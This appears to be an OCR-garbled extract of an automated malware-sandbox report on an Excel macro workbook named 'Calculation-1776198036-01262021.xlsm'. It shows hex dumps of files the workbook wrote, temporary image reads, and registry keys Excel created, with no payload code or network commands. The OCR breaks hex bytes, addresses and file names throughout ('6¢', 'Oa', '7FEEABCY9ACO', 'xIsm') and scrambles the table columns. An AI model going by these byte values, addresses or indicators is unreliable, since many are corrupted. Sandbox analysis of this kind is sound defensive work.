08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢
20 a2 04 02 28 a0 00
02 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii
U.n0...2......C...I2.&
..an.0.........#.z.Bj.Fg8..XS
=CD.].....l..Z....*L)a...
m 6.VT..e}d;.({oonnn

Gt....L.
Joewd....z]j...h)...N...
= LY.L 1>@3d.2.

\..m....WDO.W2Is...b {.....

Cuy;.-

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

21

21
24

7FEEABC9ACO unknown

7FEEABC9ACO unknown
7FEEABC9ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\86EE0000

C:\Users\user\AppData\Local\Temp\86EE0000

C:\Users\user\Desktop\~$Calculation-1776198036-

01262021.xlsm

Copyright null 2021

Offset Length Value

12755 8301
24608 1710
unknown 55

89 50 4e 47 0d Oa 1a .
1J....sRGB......... pHYs......

0a 00 00 00 Od 49 48
44 52 00 00 00 cd 00
00 00 3a 08 02 00 00
00 9c 49 4a 9f 00 00

0001 735247 4200

oot IDATXA\..}.\6

"Sp...g...9Ks..r.=r.U...Y..l

aece 1ce9 000000 ...

09 70 48 59 73 00 00
Oe c4 00 00 Oe c4 01
95 2b Oe 1b 00 00 20
12 49 44 41 54 78 5e
ed 9d 07 5¢ 95 d5 1b
c7 7d ef bd 5c 36 22
53 70 00 Oe 14 67 b8
caad 39 4b 73 b7 d3
72 e4 c8 3d 72 ef 55
ae 1c a9 a5 59 99 bb
6¢c fc 53 b3 32 {7 de
1b 51 11 27 43 14 90
bd ee fa 7f df fb c2 cb
e582 888068 7d 78
bb f9 b9 e3 9c e7 9¢
7 9c df fb ec e7 20
18 0c 86 12 c¢5 d7 b3
5c019d 4e 17 1a 1a
7a f5 ea b5 f3 e7 cf
5f be 7c f9 e6 cd 9b
91 91 91 49 49 49 d2
98 36 36 36 ee ee ee
7e 7e 7e 0d 1b 36 6¢
dc b8 51 a5 4a 95 9e
e55c9e 1b 6d al 18
67 cf 68 ed 53 52 52
2e 5¢ b8 70 8 fO el
13 27 4e 06 05 05 45
45 45 09 82 c0 58 39
2e b8

50 4b 01 02 2d 00 14
00 06 00 08 00 00 00
2100 88 8f be 01 c2
01 00 00 07 07 00 00
13 00 00 00 00 00 00

79 70 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 fb 03 00 00 5f
72 65 6¢ 73 2f 2e 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 59 7a
2f 0d 32 01 00 00 50
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 21 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
48 c2 6f 27 ab 01 00
00 fb 02 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 93 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

0541 6¢ 627573 20
20202020 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20

.Q.J..\..m..g.h.SRR\p....

WL EEE D€L

PK..-

].xmIPK
_relsl.re
IsPK. LLYz/2..P...
xl/_rels/wor

xl/workbook.xml

.user

Completion

success or wait

success or wait

success or wait

Source

Count Address

8

1

1

7FEEABCY

7FEEABCY

13F73F526

Symbol

ACO unknown

ACO unknown

WriteFile
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File Path

C:\Users\user\Desktop\~$Calculation-1776198036-

01262021.xIlsm

C:\Users\user\Desktop\47EE0000

C:\Users\user\Desktop\47EE0000

Copyright null 2021

Offset

Length Value

unknown 110

569

1017

448

2

Ascii

Completion

050041006c0062 ..Albus............... success or wait

00 75 00 73 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00

c4 55 c9 6e db 30 10
bd 17 e8 3f 08 bc 16
12 9d 1c 8a a2 b0 9c
43 9a 1c d3 00 49 3f
80 26 c7 12 61 6e €0
3089 fd 7 1d d2 8a
da 1a 8e 15 23 06 7a
d1 42 6ade 46 71 38
bf da 58 53 3d 43 44
ed 5d cb 2e 9a 19 ab
c0 49 af b4 eb 5a f6
eb f1 b6 fe c6 2a 4c
€229 61 bc 83 96 6d
01 d9 d5e2f3 a7 f9
€3 36 00 56 54 ed b0
65 7d 4ael3be7 28
7b b0 02 1b 1f c0 d1
cc ca472b 12 bd c6
8e 0721 d7 a2 03 7e
39 9b 7d e5 d2 bb 04
2e d5 29 63 b0 c5 fc
07 ac ¢4 93 49 d5 cd
86 86 77 4a 96 da bl
ea 7a f7 5d a6 6a 99
08 c1 6829 12 09 e5
cf 4e ed 91 d4 7e b5
d2 12 94 97 4f 96 a0
1b Oc 11 84 c2 1e 20
59 d3 84 a8 89 31 3e
40 4a 64 Oc 19 3f c8
19 5¢ b7 c¢7 a9 6d d6
9c c7 0f 57 44 30 b8
57322173 cB8alal
ca 62 05 7b 1d fO Ob
85 f5 06 43 9e 79 3b
87 al ee 27 2d 60 d4
Oaaa7b

03 00

.U.n.0...2......C..I7.&
..an.0.........#.z.Bj.Fg8..XS
=CD......l..Z....*L)a...
m.....6.VT..e}ld.;.({......
G+....L.~9.}....)c......

Joewd....z]j...h)...N...

() B— Y...1>@J3d..?.
A.m...WDO.W2!s...b{.....
Cuy;-

success or wait

success or wait

Source

Count Address Symbol

1

20

20

13F73F591 WriteFile

7FEEABC9ACO unknown

7FEEABC9ACO unknown
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File Path

C:\Users\user\Desktop\47EE0000

C:\Users\user\Desktop\47EE0000

Copyright null 2021

Offset
0

12755

Length Value

569

8301

50 4b 03 04 14 00 06 PK...
00 08 00 00 00 21 00 [Content_Types].xml ...
88 8fbe 01 €2 01 00  (ceevevvevereiririeicriiiieieies

00 07 07 00 00 13 00
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C ..
20 a2 04 02 28 a0 00

Ascii

02000000000000 ...............

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

89 50 4e 47 0d Oa 1a .PNG........ [ 21[0) R —

0a 00 00 00 0d 49 48 1J

4452000000cd Q0 ...+.... IDATX .\....}.\6
0000 3a 08 020000 "Sp...g...9Ks..r.=r.U....Y.

009c494a9f0000 .S.2..Q.C.

0001 7352474200 ..
aece 1ce9 000000 .

09 704859730000 1..Q.J..\.m..g.h.SRR.\.p....

1.6 ~==.5

Oe c4 00 00 Oe c4 01 'N...EEE...X9..

95 2b Oe 1b 00 00 20
12 49 44 41 54 78 5e
ed 9d 07 5¢ 95 d5 1b
c7 7d ef bd 5c 36 22
53 70 00 Oe 14 67 b8
caad 39 4b 73 b7 d3
72 e4 c8 3d 72 ef 55
ae 1c a9 a5 59 99 bb
6c fc 53 b3 32 {7 de
1b 51 11 27 43 14 90
bd ee fa 7f df fb c2 cb
e582 888068 7d 78
bb f9 b9 e3 9c e7 9¢
7 9c df fb ec e7 20
18 0c 86 12 c¢5 d7 b3
5c019d 4e 17 1a 1a
7a f5 ea b5 f3 e7 cf
5f be 7c f9 e6 cd 9b
91 91 91 49 49 49 d2
98 36 36 36 ee ee ee
7e 7e 7e 0d 1b 36 6¢
dc b8 51 a5 4a 95 9e
e55c9e 1b 6d al 18
67 cf 68 ed 53 52 52
2e 5¢ b8 70 8 fO el
13 27 4e 06 05 05 45
45 45 09 82 c0 58 39
2e b8

Completion

success or wait

success or wait

Source

Count Address Symbol

24

8

7FEEABC9ACO unknown

7FEEABC9ACO unknown
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File Path Offset Length Value

C:\Users\user\Desktop\47EE0000 24608 1710

13 00 00 00 00 00 00 IsPK.

00 00 00 00 00 00 00

00 00 00 00 5b 43 6f kbook.xml.relsPK..-

6e 74 65 6e 74 5f 54 H.o'

Ascii

_relsl.re
Yz/.2..P...
..XI/_rels/wor

79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 fb 03 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 59 7a
2f 0d 32 01 00 00 50
04 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 21 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
48 c2 6f 27 ab 01 00
00 fb 02 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 93 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

File Read
File Path Offset
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\93E893EC.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\C96BDCDA.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\9FCB8AFD.png
C:\Users\user\Desktop\Calculation-1776198036-01262021.xIsm unknown
C:\Users\user\Desktop\Calculation-1776198036-01262021.xIsm 0
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\93E893EC.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\9FCB8AFD.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\C96BDCDA.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\93E893EC.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0
Files\Content. MSO\9FCB8AFD.png
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0

Files\Content. MSO\C96BDCDA.png

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE5FC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE6D6
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE782
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems
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Length
8301

848

557

8301

557

848

8301

557

848

Completion

success or wait

Completion

success or wait

success or wait

success or wait

success or wait
pending

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count

1

Count

1

Count

PR R P oW W R

Source
Address

7FEEABCY9ACO

Source
Address

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

Source
Address

7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO

Symbol

unknown

Symbol

unknown

unknown

unknown

unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

Symbol

unknown
unknown
unknown
unknown
unknown
unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F622D

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F6393

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru
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Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

kR R

Count

Source
Address

7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO
7FEEABCY9ACO

Source
Address

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

Symbol

unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE5FC binary 04 00 00 00 FC 05 00 00 3A 00 00 00 43 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE5FC 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 31 00 34 00 39 00
2E 00 30 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00 01 00 00
00 01 00 00 00 A2 C9 FA 7D 70 F4 D6
01 FC E5 OE 00 FC E5 OE 00 00 00 00
00 B8 02 00 00 OA 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Iltem 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 4

Item 5

Item 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE6D6 binary 04 00 00 00 FC 05 00 00 30 00 00 00 43 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE6D6 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
